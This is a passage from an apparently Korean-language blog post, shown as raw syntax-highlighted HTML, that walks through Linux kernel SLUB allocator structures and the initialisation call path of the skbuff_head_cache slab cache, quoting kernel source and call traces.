&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skbuff_head_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/linux/slub_def.h */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Slab cache management.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_cpu&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__percpu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/* Used for retrieving partial slabs, etc. */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;slab_flags_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* The size of an object including metadata */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* The size of an object without metadata */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reciprocal_value&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reciprocal_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Free pointer offset */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB_CPU_PARTIAL
&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Number of per cpu partial objects to keep around */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_order_objects&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;oo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* Allocation and freeing of slabs */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_order_objects&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_order_objects&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;gfp_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allocflags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* gfp flags to use on each alloc */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;refcount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* Refcount for slab cache destroy */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inuse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* Offset to metadata */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;align&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* Alignment */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;red_left_pad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Left redzone padding size */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Name (only for display!) */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list_head&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* List of slab caches */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SYSFS
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kobject&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* For sysfs */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
#ifdef CONFIG_SLAB_FREELIST_HARDENED
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_NUMA
&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/*
	 * Defragmentation by allocating from a remote node.
	 */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote_node_defrag_ratio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLAB_FREELIST_RANDOM
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;random_seq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_KASAN
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kasan_cache&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kasan_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;useroffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Usercopy region offset */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usersize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* Usercopy region size */&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MAX_NUMNODES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이 캐시는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skb_init()&lt;/code&gt;에서 초기화 작업을 진행한다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = &quot;skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;align&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slab_flags_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;useroffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usersize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ENOMEM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_zalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;align&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;align&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useroffset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;useroffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usersize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usersize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;refcount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;list_add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slab_caches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;out:&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERR_PTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;out_free_cache:&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;kmem_cache_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;따라서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s-&amp;gt;object_size&lt;/code&gt;는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct sk_buff&lt;/code&gt; 타입의 크기임을 알 수 있고, GDB로 확인해보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xe0&lt;/code&gt; 바이트임을 알 수 있다. 그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct kmem_cache&lt;/code&gt;에서 중요한 멤버로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct kmem_cache_cpu&lt;/code&gt;가 있다. 이는 per-cpu 오브젝트이며, 다음과 같은 call trace를 거쳐 할당되고 초기화된다. (아래 call trace가 모든 함수를 표기하지 않았으며, 상대적 순서임에 주의하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = &quot;skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
      |
      |
      +---------------------------+------------------------------------+
      |1                          |2                                   |3
      |                           |                                    |
      V                           V                                    V
alloc_kmem_cache_cpus()       set_min_partial() /* s = s, */      set_cpu_partial()
      |                            /* min = ilog2(s-&amp;gt;size / 2) */
      +-----------------------+
      |1                      |2
      V                       V
 __alloc_percpu()        init_kmem_cache_cpus()
 pcpu_alloc()
 pcpu_find_block_fit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/linux/slub_def.h */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * When changing the layout, make sure freelist and tid are still compatible
 * with this_cpu_cmpxchg_double() alignment requirements.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_cpu&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Pointer to next available object */&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Globally unique transaction id */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* The slab from which we are allocating */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB_CPU_PARTIAL
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Partially allocated frozen slabs */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;local_lock_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Protects the fields above */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB_STATS
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NR_SLUB_STAT_ITEMS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init_kmem_cache_cpus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_cpu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;for_each_possible_cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
